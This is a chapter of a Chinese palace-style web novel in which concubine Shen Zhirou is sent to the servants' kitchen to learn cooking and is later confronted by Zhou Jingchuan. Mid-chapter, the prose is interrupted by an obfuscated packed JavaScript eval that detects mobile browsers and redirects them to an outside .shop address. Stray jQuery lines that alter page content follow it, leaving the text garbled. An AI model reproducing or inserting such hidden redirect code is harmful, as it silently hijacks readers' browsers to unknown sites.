厢房中,李嬷嬷端了些茶水和吃食来,让沈之柔先垫一垫肚子。
沈之柔喝了两口水,又吃了块糕点,这才觉得活过来些,眼前的雾霾渐渐散去,世界恢复清明。
李嬷嬷还想去请大夫来照看,被沈之柔叫住:“嬷嬷,我好多了,只是没用早膳,有些发晕罢了。”
李嬷嬷又递来碗粥,要来喂她,叹着气道:“姨娘做女儿家时身子骨就薄,如今进了这周府再磋磨一二,可怎么办才好啊,姨娘你千万听老奴一句劝,以后切莫再这样怠慢自己的身子。”
沈之柔将米粥接过,抿开一个虚弱的笑:“我知道了嬷嬷,辛苦你担忧我了。”
过了一会,沈之柔把粥吃完,就要往门外去。
李嬷嬷连忙道:“姨娘才晕倒,还是先歇息歇息。”
沈之柔摇摇头:“今日尚书夫人好意给我机会表现,我却没能做好,眼下定要想办法弥补的。”
李嬷嬷拗不过她,只好随沈之柔去了。
因着晕倒的事,主仆二人赶到膳房时,离午膳开始已不足一个时辰了。
沈之柔站在门口,见灶间进进出出,忙得热火朝天,踟蹰着不敢进去。
“让一让,让一让!”
见两三个丫鬟抱着菜篓朝膳房走来,沈之柔连忙撤到一旁。
李嬷嬷看不下去,道:“姨娘且看我的。”
说罢,便朝里间一喊:“你们这儿,谁是主事的?”
可谁知灶间忙乱一团,根本无人理会。
李嬷嬷脸上有些挂不住,便直接冲了进去,巡视一周,抬起下巴,厉声问道:“我家姨娘乃是二爷新纳的侧室,奉大夫人之命来此给二爷做些称口的吃食,难道夫人不曾交代你们吗?”
众人这才略略停下手中的动作,但不出片刻,都各自忙活去了。
李嬷嬷又吃了闭门羹,实在咽不下这口气,刚想发火,便听见身后传来一道中气十足的女声。
“我是伙房主事徐嬷嬷,主子有什么事找我便是——”
徐嬷嬷立在门前,身形微丰,穿一身青布大襟,说完便瞥向身旁的沈之柔,也不行礼,声音依旧洪亮:“想必这位就是沈姨娘了。”
沈之柔刚要问好,便被徐嬷嬷打断:“姨娘不必同我一介粗使婆子客气,但你也见着了,这伙房是给下人做饭的地方,不大讲究,老奴见您年纪轻轻细皮嫩肉,怕是受不了这伙房的浓烟瘴气,所以姨娘不如早些去请夫人收回成命罢。”
李嬷嬷瞪大双眼:“你说什么?这竟是给下人做饭的地方!姨娘,我们这就走,这不合礼法的!”
徐嬷嬷飞来眼刀:“这位嬷嬷可要当心祸从口出,府中专供贵人的厨房里头都是最顶尖的厨子,便自然是有男有女,夫人是怕失了礼数,才遣姨娘来此,若是不愿,老奴方才也说了,还请姨娘……”
沈之柔打量了一眼,房内果真尽是些女婢,便正色道:“我自是愿意的,还请徐嬷嬷不要嫌我愚笨,更不要顾及我的身份。”
徐嬷嬷朝李嬷嬷扬眉笑道:“你家主子倒是个谦逊的,既如此,便同我进来吧。”
“对了,”她又瞥向沈之柔,“姨娘这身绫绸娇贵,怕是经不起油烟摧残,还是去换身衣裳再来,行动也能方便些。”
沈之柔从善如流,立马去换了身青布短打来。
李嬷嬷还在一旁不停地劝:“这实在有失体统啊,不如老奴替姨娘去学罢,省得姨娘白白受罪。”
沈之柔谢过她,不再犹豫,一头扎进伙房。
李嬷嬷看着自家小姐那身麻衣,心中不免怜惜,虽说二小姐在家中是个不得宠的庶女,但好歹也是大户人家的闺女,哪里受过这样的委屈!
原还以为跟了二小姐能沾些光,可谁知二小姐的日子这般难过,她当然更是不好过,自从来了这周家,就连个黄毛丫鬟都能给她眼色瞧。
不过眼下也是覆水难收,只能期盼二小姐真能学些什么东西,讨得那周二爷的欢心,今后的日子也能好些。
这样想着,李嬷嬷连忙跟上沈之柔的步伐进了伙房。
灶间离饭点越近越热腾,如同一个巨大的火炉,李嬷嬷才帮着打了会下手,便已是满头大汗。
沈之柔自然也没好到哪儿去,鼻尖已经渗出了些汗珠,还好听徐嬷嬷的话换了这粗织的麻衣,不然恐怕早已汗流浃背。
徐嬷嬷虽也出了些汗,但神色很是从容,不慌不乱地切着手中的萝卜。
不出片刻,那红萝卜便被片成了粗细均匀的长丝。
徐嬷嬷将厨刀递给沈之柔,道:“姨娘且试一试。”
沈之柔刚要接过,便被李嬷嬷夺了去:“徐嬷嬷,备菜这种小事,交给老奴来做就好,你只管教姨娘如何烹饪。”
“若照你所说,其他事情也可一应交给下人去做,那姨娘还来此作甚,不如早些回去罢!”
被徐嬷嬷这一斥,沈之柔匆匆去接李嬷嬷手中的厨刀,这刀看着不大,拿到手上却沉甸甸的。
她从前在家中也是下过膳房的,但大多是做一些精致小巧的茶点,就像李嬷嬷所说,许多环节都有下人帮忙打理。
这会自己手握庖刀,认认真真地去切那砧板上的萝卜,可切出来的丝却歪歪扭扭、长短不一。
和旁边徐嬷嬷切的一比,更是粗陋不堪。
徐嬷嬷只虚虚扫了一眼,也不评价,从筐里又拣了只萝卜放到案上。
沈之柔了然,又继续切,这回慢慢习惯了刀的重量,切出来的萝卜丝比刚才好多了。
徐嬷嬷显然还是不满意,又挑了一只。
沈之柔的鬓发都有些汗湿了,但还是埋头默默丝开了那只萝卜。
徐嬷嬷这回看都不看了,直接将装萝卜的筐往沈之柔面前一摆,拍拍手道:“已到了用膳的时刻,老奴年纪大了,挨不住饿,姨娘若是饿了,也可自行离开。”
说罢便离了灶间,李嬷嬷见状忙来拉她:“姨娘,既然那李嬷嬷都说了,我们也快些去用膳吧。”
沈之柔把她先安抚走了,自己留在案前,抿着唇一言不发,一只接一只地丝萝卜。
午膳过去,转眼间又到了晚膳时分。
周敬川总算是忙完了会试之事,便破天荒回了趟周府。
上房厅堂中,尚书大人和夫人俱在主桌,侧边单开了一小桌,供府中姨娘们用膳。
见周敬川进来,众人都有些讶异,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911680|213136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尚书夫人停下筷,起身笑道:“二爷回来了,怎么也不差人来通传一声。”
“夫人还管他作甚,都是成了家的人了,用个晚膳还用得着你催?”
说话的人是吏部尚书,他的兄长,周敬山。
周敬川半揖道:“兄长所言有理,如此便不叨扰了,改日再来给兄长和大嫂请安。”
说罢也不再理会两人的脸色如何变化,大踏出步子就要往门外去,行到门槛前才想起些什么,回头冷冷看了一眼。
侧桌上大爷的姨娘们都被这一眼吓得不轻,还以为哪里惹了这位主,连咀嚼的动作都放缓了。
周敬川收回眼神,走到门外时,才问一旁的策风:“那沈氏呢?你不是说她没什么大碍吗?”
策风有些摸不着头脑,疑惑道:“早上我将姨娘送回院里,还想着给姨娘请个大夫,但那嬷嬷和我说不需要,我心想着可不就是没什么大碍吗?”
周敬川咬牙切齿道:“那她人呢?”
“应当在里头和姨娘们一块用膳吧,属下这就去请姨娘来。”
周敬川拦住他:“去什么?她不在里面。”
“那或许是在咱们院中呢,二爷若是想见姨娘了,便快些回去吧,正好二爷还没用膳……”
“见什么?我好端端的见她作甚。”周敬川厉声打断道。
还是回了院中。
虽周敬川这段时间不常回府,但下人们还是备好了饭菜,一见他来就将热着的饭菜送到花厅去。
策风见周敬川眉头紧锁,便低声问奉菜前来的丫鬟:“沈姨娘呢,怎么二爷回来了也不来请个安。”
沈之柔去伙房里打下手的事情早就在院里传开了,丫鬟小厮们聚在一块说了大半天闲话,奉菜的丫头以为他要问责,便有些慌张道:“奴婢听说姨娘她,她到伙房里学厨艺去了。”
周敬川夹菜的手顿了一顿,不可置信地问道:“你说什么?”
那丫鬟吓得直哆嗦:“奴婢也不大知情,只是一早姨娘便被叫去伙房了,一天都没回来,据说是…是…”
“说。”
“是大夫人命姨娘去的!”
周敬川将木箸往瓷碗上重重一靠,把那丫鬟吓得差点哭出来。
策风在一旁疯狂使眼色,示意她快些离开。
“策风,你去看看是怎么一回事。”
“诶,诶,我这就去,二爷且先用膳罢。”
策风话音刚落,便看见周敬川也站了起来,沉着脸道:“罢了,我同你一道看看去。”
没想到刚走到院门口,便正正好撞见从伙房里回来的沈之柔。
沈之柔穿着一身宽大的、极不合身的青布麻衣,垂头丧气地行走在夜色中,哪怕天色渐暗,还是能看见她白净的脸庞上,沾染了些许锅灰。
沈之柔习惯低垂着头走路,这会却看见前方的花砖上,空空多出了一双墨色官靴。
她知道自己此时仪态不端,便不敢抬头,只得小心翼翼地行了礼。
“二爷可用过晚膳了?”
“你可真会给我找麻烦。”
两人几乎是同时出口。
夜风微凉,沈之柔的心中仿佛更冷了。